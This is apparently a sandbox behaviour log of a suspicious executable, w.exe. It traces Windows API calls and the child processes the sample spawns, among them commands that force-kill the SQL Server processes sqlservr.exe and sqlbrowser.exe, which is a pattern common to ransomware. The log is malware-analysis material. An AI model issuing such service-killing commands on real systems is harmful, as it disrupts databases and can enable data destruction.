	[0034.324] GetEnvironmentStringsW () returned 0x584098*
	[0034.324] GetProcessHeap () returned 0x570000
	[0034.324] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xb5c) returned 0x585ed8
	[0034.324] FreeEnvironmentStringsW (penv=0x584098) returned 1
	[0034.324] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0034.324] GetProcessHeap () returned 0x570000
	[0034.324] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x585ed8 | out: hHeap=0x570000) returned 1
	[0034.324] GetEnvironmentStringsW () returned 0x584098*
	[0034.324] GetProcessHeap () returned 0x570000
	[0034.324] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xb5c) returned 0x585ed8
	[0034.324] FreeEnvironmentStringsW (penv=0x584098) returned 1
	[0034.324] GetProcessHeap () returned 0x570000
	[0034.324] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57fee8 | out: hHeap=0x570000) returned 1
	[0034.324] DeleteProcThreadAttributeList (in: lpAttributeList=0x2ef3f4 | out: lpAttributeList=0x2ef3f4) 
	[0034.324] _get_osfhandle (_FileHandle=1) returned 0xac
	[0034.324] SetConsoleMode (hConsoleHandle=0xac, dwMode=0x0) returned 0
	[0034.324] _get_osfhandle (_FileHandle=1) returned 0xac
	[0034.324] GetConsoleMode (in: hConsoleHandle=0xac, lpMode=0x4acc41ac | out: lpMode=0x4acc41ac) returned 0
	[0034.325] _get_osfhandle (_FileHandle=0) returned 0xc8
	[0034.325] GetConsoleMode (in: hConsoleHandle=0xc8, lpMode=0x4acc41b0 | out: lpMode=0x4acc41b0) returned 0
	[0034.325] GetConsoleOutputCP () returned 0x1b5
	[0034.325] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4acc4260 | out: lpCPInfo=0x4acc4260) returned 1
	[0034.325] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0034.325] exit (_Code=128) 

Process:
	id = "9"
	image_name = "taskkill.exe"
	filename = "c:\\windows\\syswow64\\taskkill.exe"
	page_root = "0x4d235000"
	os_pid = "0xb80"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "8"
	os_parent_pid = "0xb78"
	cmd_line = "taskkill  /f /im sqlbrowser.exe "
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 112
	os_tid = 0xb84


Thread:
	id = 113
	os_tid = 0xb88


Thread:
	id = 114
	os_tid = 0xb8c


Thread:
	id = 115
	os_tid = 0xb90


Thread:
	id = 116
	os_tid = 0xb94


Process:
	id = "10"
	image_name = "cmd.exe"
	filename = "c:\\windows\\syswow64\\cmd.exe"
	page_root = "0x4c0ae000"
	os_pid = "0xb9c"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xad8"
	cmd_line = "cmd.exe /c \"taskkill /f /im sqlservr.exe \""
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 117
	os_tid = 0xba0

	[0034.404] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1aff3c | out: lpSystemTimeAsFileTime=0x1aff3c*(dwLowDateTime=0xfa2e54f0, dwHighDateTime=0x1d52dc4)) 
	[0034.404] GetCurrentProcessId () returned 0xb9c
	[0034.404] GetCurrentThreadId () returned 0xba0
	[0034.404] GetTickCount () returned 0x18e0b
	[0034.404] QueryPerformanceCounter (in: lpPerformanceCount=0x1aff34 | out: lpPerformanceCount=0x1aff34*=15471388277) returned 1
	[0034.405] GetModuleHandleA (lpModuleName=0x0) returned 0x4a770000
	[0034.405] __set_app_type (_Type=0x1) 
	[0034.405] __p__fmode () returned 0x74eb31f4
	[0034.405] __p__commode () returned 0x74eb31fc
	[0034.405] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a7921a6) returned 0x0
	[0034.405] __getmainargs (in: _Argc=0x4a794238, _Argv=0x4a794240, _Env=0x4a79423c, _DoWildCard=0, _StartInfo=0x4a794140 | out: _Argc=0x4a794238, _Argv=0x4a794240, _Env=0x4a79423c) returned 0
	[0034.405] GetCurrentThreadId () returned 0xba0
	[0034.405] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xba0) returned 0x60
	[0034.406] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0034.406] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadUILanguage") returned 0x76c4a84f
	[0034.406] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0034.406] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0034.406] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x1afecc | out: phkResult=0x1afecc*=0x0) returned 0x2
	[0034.406] VirtualQuery (in: lpAddress=0x1aff03, lpBuffer=0x1afe9c, dwLength=0x1c | out: lpBuffer=0x1afe9c*(BaseAddress=0x1af000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0034.406] VirtualQuery (in: lpAddress=0xb0000, lpBuffer=0x1afe9c, dwLength=0x1c | out: lpBuffer=0x1afe9c*(BaseAddress=0xb0000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c
	[0034.406] VirtualQuery (in: lpAddress=0xb1000, lpBuffer=0x1afe9c, dwLength=0x1c | out: lpBuffer=0x1afe9c*(BaseAddress=0xb1000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c
	[0034.406] VirtualQuery (in: lpAddress=0xb3000, lpBuffer=0x1afe9c, dwLength=0x1c | out: lpBuffer=0x1afe9c*(BaseAddress=0xb3000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0034.406] VirtualQuery (in: lpAddress=0x1b0000, lpBuffer=0x1afe9c, dwLength=0x1c | out: lpBuffer=0x1afe9c*(BaseAddress=0x1b0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x20000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c
	[0034.406] GetConsoleOutputCP () returned 0x1b5
	[0034.407] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a794260 | out: lpCPInfo=0x4a794260) returned 1
	[0034.407] SetConsoleCtrlHandler (HandlerRoutine=0x4a78e72a, Add=1) returned 1
	[0034.407] _get_osfhandle (_FileHandle=1) returned 0xc8
	[0034.407] SetConsoleMode (hConsoleHandle=0xc8, dwMode=0x0) returned 0
	[0034.407] _get_osfhandle (_FileHandle=1) returned 0xc8
	[0034.407] GetConsoleMode (in: hConsoleHandle=0xc8, lpMode=0x4a7941ac | out: lpMode=0x4a7941ac) returned 0
	[0034.407] _get_osfhandle (_FileHandle=0) returned 0xc4
	[0034.407] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x4a7941b0 | out: lpMode=0x4a7941b0) returned 0
	[0034.407] GetEnvironmentStringsW () returned 0x342008*
	[0034.407] GetProcessHeap () returned 0x330000
	[0034.407] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xaca) returned 0x342ae0
	[0034.408] FreeEnvironmentStringsW (penv=0x342008) returned 1
	[0034.408] GetProcessHeap () returned 0x330000
	[0034.408] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x4) returned 0x340c40
	[0034.408] GetEnvironmentStringsW () returned 0x342008*
	[0034.408] GetProcessHeap () returned 0x330000
	[0034.408] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xaca) returned 0x3435b8
	[0034.408] FreeEnvironmentStringsW (penv=0x342008) returned 1
	[0034.408] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1aee3c | out: phkResult=0x1aee3c*=0x68) returned 0x0
	[0034.408] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1aee44, lpData=0x1aee48, lpcbData=0x1aee40*=0x1000 | out: lpType=0x1aee44*=0x0, lpData=0x1aee48*=0x0, lpcbData=0x1aee40*=0x1000) returned 0x2
	[0034.408] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1aee44, lpData=0x1aee48, lpcbData=0x1aee40*=0x1000 | out: lpType=0x1aee44*=0x4, lpData=0x1aee48*=0x1, lpcbData=0x1aee40*=0x4) returned 0x0
	[0034.408] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1aee44, lpData=0x1aee48, lpcbData=0x1aee40*=0x1000 | out: lpType=0x1aee44*=0x0, lpData=0x1aee48*=0x1, lpcbData=0x1aee40*=0x1000) returned 0x2
	[0034.408] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1aee44, lpData=0x1aee48, lpcbData=0x1aee40*=0x1000 | out: lpType=0x1aee44*=0x4, lpData=0x1aee48*=0x0, lpcbData=0x1aee40*=0x4) returned 0x0
	[0034.408] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1aee44, lpData=0x1aee48, lpcbData=0x1aee40*=0x1000 | out: lpType=0x1aee44*=0x4, lpData=0x1aee48*=0x40, lpcbData=0x1aee40*=0x4) returned 0x0
	[0034.408] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1aee44, lpData=0x1aee48, lpcbData=0x1aee40*=0x1000 | out: lpType=0x1aee44*=0x4, lpData=0x1aee48*=0x40, lpcbData=0x1aee40*=0x4) returned 0x0
	[0034.408] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1aee44, lpData=0x1aee48, lpcbData=0x1aee40*=0x1000 | out: lpType=0x1aee44*=0x0, lpData=0x1aee48*=0x40, lpcbData=0x1aee40*=0x1000) returned 0x2
	[0034.408] RegCloseKey (hKey=0x68) returned 0x0
	[0034.408] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1aee3c | out: phkResult=0x1aee3c*=0x68) returned 0x0
	[0034.409] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1aee44, lpData=0x1aee48, lpcbData=0x1aee40*=0x1000 | out: lpType=0x1aee44*=0x0, lpData=0x1aee48*=0x40, lpcbData=0x1aee40*=0x1000) returned 0x2
	[0034.409] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1aee44, lpData=0x1aee48, lpcbData=0x1aee40*=0x1000 | out: lpType=0x1aee44*=0x4, lpData=0x1aee48*=0x1, lpcbData=0x1aee40*=0x4) returned 0x0
	[0034.409] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1aee44, lpData=0x1aee48, lpcbData=0x1aee40*=0x1000 | out: lpType=0x1aee44*=0x0, lpData=0x1aee48*=0x1, lpcbData=0x1aee40*=0x1000) returned 0x2
	[0034.409] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1aee44, lpData=0x1aee48, lpcbData=0x1aee40*=0x1000 | out: lpType=0x1aee44*=0x4, lpData=0x1aee48*=0x0, lpcbData=0x1aee40*=0x4) returned 0x0
	[0034.409] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1aee44, lpData=0x1aee48, lpcbData=0x1aee40*=0x1000 | out: lpType=0x1aee44*=0x4, lpData=0x1aee48*=0x9, lpcbData=0x1aee40*=0x4) returned 0x0
	[0034.409] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1aee44, lpData=0x1aee48, lpcbData=0x1aee40*=0x1000 | out: lpType=0x1aee44*=0x4, lpData=0x1aee48*=0x9, lpcbData=0x1aee40*=0x4) returned 0x0
	[0034.409] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1aee44, lpData=0x1aee48, lpcbData=0x1aee40*=0x1000 | out: lpType=0x1aee44*=0x0, lpData=0x1aee48*=0x9, lpcbData=0x1aee40*=0x1000) returned 0x2
	[0034.409] RegCloseKey (hKey=0x68) returned 0x0
	[0034.409] time (in: timer=0x0 | out: timer=0x0) returned 0x5d16302b
	[0034.409] srand (_Seed=0x5d16302b) 
	[0034.409] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im sqlservr.exe \""
	[0034.409] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im sqlservr.exe \""
	[0034.409] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a795260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0034.409] GetProcessHeap () returned 0x330000
	[0034.409] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x210) returned 0x342008
	[0034.409] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x342010, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b
	[0034.410] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a7a0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0034.410] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a7a0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0034.410] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a7a0640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0034.410] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0034.410] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0034.410] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0034.410] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0034.410] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0034.410] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0034.410] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0034.410] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0034.410] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0034.410] GetProcessHeap () returned 0x330000
	[0034.410] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x342ae0 | out: hHeap=0x330000) returned 1
	[0034.410] GetEnvironmentStringsW () returned 0x342220*
	[0034.410] GetProcessHeap () returned 0x330000
	[0034.410] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xae2) returned 0x344b80
	[0034.410] FreeEnvironmentStringsW (penv=0x342220) returned 1
	[0034.410] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a7a0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0034.410] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a7a0640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0034.410] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0034.410] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0034.410] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0034.410] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0034.411] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0034.411] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0034.411] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0034.411] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0034.411] GetProcessHeap () returned 0x330000
	[0034.411] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x54) returned 0x345670
	[0034.411] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1afc08 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0034.411] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x1afc08, lpFilePart=0x1afc04 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1afc04*="Desktop") returned 0x25
	[0034.411] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0034.411] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x1af984 | out: lpFindFileData=0x1af984*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x341e88
	[0034.411] FindClose (in: hFindFile=0x341e88 | out: hFindFile=0x341e88) returned 1
	[0034.411] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x1af984 | out: lpFindFileData=0x1af984*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x341e88
	[0034.411] FindClose (in: hFindFile=0x341e88 | out: hFindFile=0x341e88) returned 1
	[0034.411] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20
	[0034.411] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x1af984 | out: lpFindFileData=0x1af984*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf321cc00, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xf321cc00, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x341e88
	[0034.411] FindClose (in: hFindFile=0x341e88 | out: hFindFile=0x341e88) returned 1
	[0034.412] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0034.412] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1
	[0034.412] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1
	[0034.412] GetProcessHeap () returned 0x330000
	[0034.412] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x344b80 | out: hHeap=0x330000) returned 1
	[0034.412] GetEnvironmentStringsW () returned 0x344090*
	[0034.412] GetProcessHeap () returned 0x330000
	[0034.412] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xb36) returned 0x345ed0
	[0034.412] FreeEnvironmentStringsW (penv=0x344090) returned 1
	[0034.412] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a795260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0034.412] GetProcessHeap () returned 0x330000
	[0034.412] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x345670 | out: hHeap=0x330000) returned 1
	[0034.412] GetProcessHeap () returned 0x330000
	[0034.412] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x400e) returned 0x346a10
	[0034.412] GetProcessHeap () returned 0x330000
	[0034.412] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x4c) returned 0x342d60
	[0034.413] GetProcessHeap () returned 0x330000
	[0034.413] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x4008) returned 0x34aa28
	[0034.413] GetProcessHeap () returned 0x330000
	[0034.413] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x4008) returned 0x34ea38
	[0034.415] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0034.415] GetProcessHeap () returned 0x330000
	[0034.415] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x418) returned 0x342db8
	[0034.415] SetErrorMode (uMode=0x0) returned 0x8003
	[0034.415] SetErrorMode (uMode=0x1) returned 0x0
	[0034.415] GetFullPathNameW (in: lpFileName="taskkill \\f \\.", nBufferLength=0x208, lpBuffer=0x342dc0, lpFilePart=0x1afb80 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f", lpFilePart=0x1afb80*="f") returned 0x31
	[0034.415] SetErrorMode (uMode=0x8003) returned 0x1
	[0034.415] GetProcessHeap () returned 0x330000
	[0034.415] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x342db8, Size=0x8e) returned 0x342db8
	[0034.415] GetProcessHeap () returned 0x330000
	[0034.415] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x342db8) returned 0x8e
	[0034.415] NeedCurrentDirectoryForExePathW (ExeName="taskkill \\f \\.") returned 1
	[0034.415] GetProcessHeap () returned 0x330000
	[0034.416] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x72) returned 0x352a60
	[0034.416] GetProcessHeap () returned 0x330000
	[0034.416] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xd8) returned 0x342e50
	[0034.416] GetProcessHeap () returned 0x330000
	[0034.416] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x342e50, Size=0x72) returned 0x342e50
	[0034.416] GetProcessHeap () returned 0x330000
	[0034.416] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x342e50) returned 0x72
	[0034.416] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a7a0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0034.416] GetProcessHeap () returned 0x330000
	[0034.416] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xe0) returned 0x342ed0
	[0034.420] GetProcessHeap () returned 0x330000
	[0034.420] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x342ed0, Size=0x76) returned 0x342ed0
	[0034.420] GetProcessHeap () returned 0x330000
	[0034.420] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x342ed0) returned 0x76
	[0034.420] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0034.420] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f\\im sqlservr.exe ", fInfoLevelId=0x1, lpFindFileData=0x1af91c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af91c) returned 0xffffffff
	[0034.420] GetLastError () returned 0x3
	[0034.420] GetProcessHeap () returned 0x330000
	[0034.420] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34aa28 | out: hHeap=0x330000) returned 1
	[0034.420] GetProcessHeap () returned 0x330000
	[0034.420] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34ea38 | out: hHeap=0x330000) returned 1
	[0034.420] GetProcessHeap () returned 0x330000
	[0034.420] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x346a10 | out: hHeap=0x330000) returned 1
	[0034.420] GetConsoleOutputCP () returned 0x1b5
	[0034.420] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a794260 | out: lpCPInfo=0x4a794260) returned 1
	[0034.420] GetUserDefaultLCID () returned 0x409
	[0034.421] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a794950, cchData=8 | out: lpLCData=":") returned 2
	[0034.421] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x1afd48, cchData=128 | out: lpLCData="0") returned 2
	[0034.421] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x1afd48, cchData=128 | out: lpLCData="0") returned 2
	[0034.421] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x1afd48, cchData=128 | out: lpLCData="1") returned 2
	[0034.421] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a794940, cchData=8 | out: lpLCData="/") returned 2
	[0034.421] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a794d80, cchData=32 | out: lpLCData="Mon") returned 4
	[0034.422] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a794d40, cchData=32 | out: lpLCData="Tue") returned 4
	[0034.422] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a794d00, cchData=32 | out: lpLCData="Wed") returned 4
	[0034.422] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a794cc0, cchData=32 | out: lpLCData="Thu") returned 4
	[0034.422] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a794c80, cchData=32 | out: lpLCData="Fri") returned 4
	[0034.422] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a794c40, cchData=32 | out: lpLCData="Sat") returned 4
	[0034.422] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a794c00, cchData=32 | out: lpLCData="Sun") returned 4
	[0034.422] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a794930, cchData=8 | out: lpLCData=".") returned 2
	[0034.422] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a794920, cchData=8 | out: lpLCData=",") returned 2
	[0034.422] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0034.423] GetProcessHeap () returned 0x330000
	[0034.423] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x20c) returned 0x342f50
	[0034.423] GetConsoleTitleW (in: lpConsoleTitle=0x342f50, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0034.423] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0034.423] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileExW") returned 0x76c53b92
	[0034.423] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d
